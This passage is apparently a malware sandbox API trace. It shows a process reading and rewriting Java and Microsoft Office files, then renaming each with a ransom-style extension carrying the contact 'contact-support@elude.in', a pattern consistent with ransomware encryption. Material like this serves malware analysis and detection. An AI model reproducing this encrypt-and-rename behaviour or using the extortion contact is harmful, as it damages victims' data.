0x630000 [0139.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0139.325] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.326] WriteFile (in: hFile=0x6c0, lpBuffer=0x71e1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e1cd8*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0139.326] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.326] WriteFile (in: hFile=0x6c0, lpBuffer=0x71ed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed0d7*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.328] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.328] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.328] CloseHandle (hObject=0x6c0) returned 1 [0139.328] GetProcessHeap () returned 0x630000 [0139.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e1cd8 | out: hHeap=0x630000) returned 1 [0139.333] GetProcessHeap () returned 0x630000 [0139.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d68a8 | out: hHeap=0x630000) returned 1 [0139.333] GetProcessHeap () returned 0x630000 [0139.333] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0139.333] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.333] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x18fdb645, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2e571e, dwReserved0=0xb687496, dwReserved1=0x71d68a0, cFileName="charsets.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHARSE~1.FIR")) returned 0x6d5040 [0139.333] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0139.334] Sleep (dwMilliseconds=0x1) [0140.442] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms", len=0x55 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 1 [0140.442] GetProcessHeap () returned 0x630000 [0140.442] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c30) returned 0x7203db8 [0140.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0142.630] CloseHandle (hObject=0x698) returned 1 [0142.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3f4440f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3f4440f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe404f4c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4df6, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="HomeBusinessR_Retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO8EC1~1.FIR")) returned 0x6d52c0 [0143.852] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0143.853] GetProcessHeap () returned 0x630000 [0143.853] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x6ee8930 [0143.853] GetProcessHeap () returned 0x630000 [0143.853] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e01) returned 0x6eed740 [0143.853] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.853] ReadFile (in: hFile=0x698, lpBuffer=0x6ee8930, nNumberOfBytesToRead=0x4de0, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee8930*, lpNumberOfBytesRead=0x447ff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0145.374] GetProcessHeap () returned 0x630000 [0145.374] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0145.374] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.374] WriteFile (in: hFile=0x698, lpBuffer=0x6eed740*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eed740*, lpNumberOfBytesWritten=0x447ff0c*=0x4de0, lpOverlapped=0x0) returned 1 [0145.969] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.969] WriteFile (in: hFile=0x698, lpBuffer=0x6ef251f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef251f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.969] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.969] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.969] CloseHandle (hObject=0x698) returned 1 [0145.969] GetProcessHeap () returned 0x630000 [0145.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eed740 | out: hHeap=0x630000) returned 1 [0145.969] GetProcessHeap () returned 0x630000 [0145.969] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee8930 | out: hHeap=0x630000) returned 1 [0145.971] GetProcessHeap () returned 0x630000 [0145.971] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0145.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3f4440f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3f4440f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf42db2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e1a, dwReserved0=0xb687496, dwReserved1=0x6ee8928, cFileName="HomeBusinessR_Retail2-ul-phn.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO8EC1~1.FIR")) returned 0x6d4e00 [0145.971] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0145.971] Sleep (dwMilliseconds=0x1) [0146.027] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS", len=0x40 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned 1 [0146.027] GetProcessHeap () returned 0x630000 [0146.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2728) returned 0x71f7c78 [0146.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0146.048] CloseHandle (hObject=0x698) returned 1 [0146.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~1.FIR")) returned 0x6d5280 [0146.049] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0146.050] GetProcessHeap () returned 0x630000 [0146.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72ba008 [0146.050] GetProcessHeap () returned 0x630000 [0146.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718938 [0146.051] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.051] ReadFile (in: hFile=0x698, lpBuffer=0x72ba008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.188] GetProcessHeap () returned 0x630000 [0153.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0153.188] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.188] WriteFile (in: hFile=0x698, lpBuffer=0x718938*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.188] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.188] WriteFile (in: hFile=0x698, lpBuffer=0x723d37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723d37*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.189] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.190] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.190] CloseHandle (hObject=0x698) returned 1 [0153.190] GetProcessHeap () returned 0x630000 [0153.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0153.190] GetProcessHeap () returned 0x630000 [0153.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0153.190] GetProcessHeap () returned 0x630000 [0153.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0154.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2140ba23, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3d1f0, dwReserved0=0xb687496, dwReserved1=0x72ba000, cFileName="ONENOTE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~1.FIR")) returned 0x6d4f80 [0154.538] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0154.538] Sleep (dwMilliseconds=0x1) [0154.550] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", len=0x46 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM") returned 1 [0154.550] GetProcessHeap () returned 0x630000 [0154.550] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b70) returned 0x713f7f0 [0154.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0154.558] CloseHandle (hObject=0x620) returned 1 [0154.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLNTWR~1.FIR")) returned 0x6d4f80 [0154.649] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0154.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0154.923] GetProcessHeap () returned 0x630000 [0154.923] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x421) returned 0x6f19db0 [0154.923] GetProcessHeap () returned 0x630000 [0154.923] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x421) returned 0x710cbf0 [0154.923] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.923] ReadFile (in: hFile=0x6dc, lpBuffer=0x6f19db0, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f19db0*, lpNumberOfBytesRead=0x447ff0c*=0x400, lpOverlapped=0x0) returned 1 [0154.931] GetProcessHeap () returned 0x630000 [0154.931] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0154.932] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.932] WriteFile (in: hFile=0x6dc, lpBuffer=0x710cbf0*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710cbf0*, lpNumberOfBytesWritten=0x447ff0c*=0x400, lpOverlapped=0x0) returned 1 [0154.932] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.932] WriteFile (in: hFile=0x6dc, lpBuffer=0x710cfef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710cfef*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.932] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.932] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.932] CloseHandle (hObject=0x6dc) returned 1 [0154.932] GetProcessHeap () returned 0x630000 [0154.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710cbf0 | out: hHeap=0x630000) returned 1 [0154.932] GetProcessHeap () returned 0x630000 [0154.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f19db0 | out: hHeap=0x630000) returned 1 [0154.932] GetProcessHeap () returned 0x630000 [0154.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0154.932] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x224a8f40, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x439, dwReserved0=0xb687496, dwReserved1=0x6f19da8, cFileName="CLNTWRAP.HTM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLNTWR~1.FIR")) returned 0x6d52c0 [0154.933] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.933] Sleep (dwMilliseconds=0x1) [0157.032] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap", len=0x65 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap") returned 1 [0157.032] GetProcessHeap () returned 0x630000 [0157.032] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b48) returned 0x707d3d0 [0157.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\powerviewres.es.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0157.075] CloseHandle (hObject=0x674) returned 1 [0157.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0157.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\powerviewres.es.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\powerviewres.es.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0157.076] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1395164b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f18d, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.es.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0157.077] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) 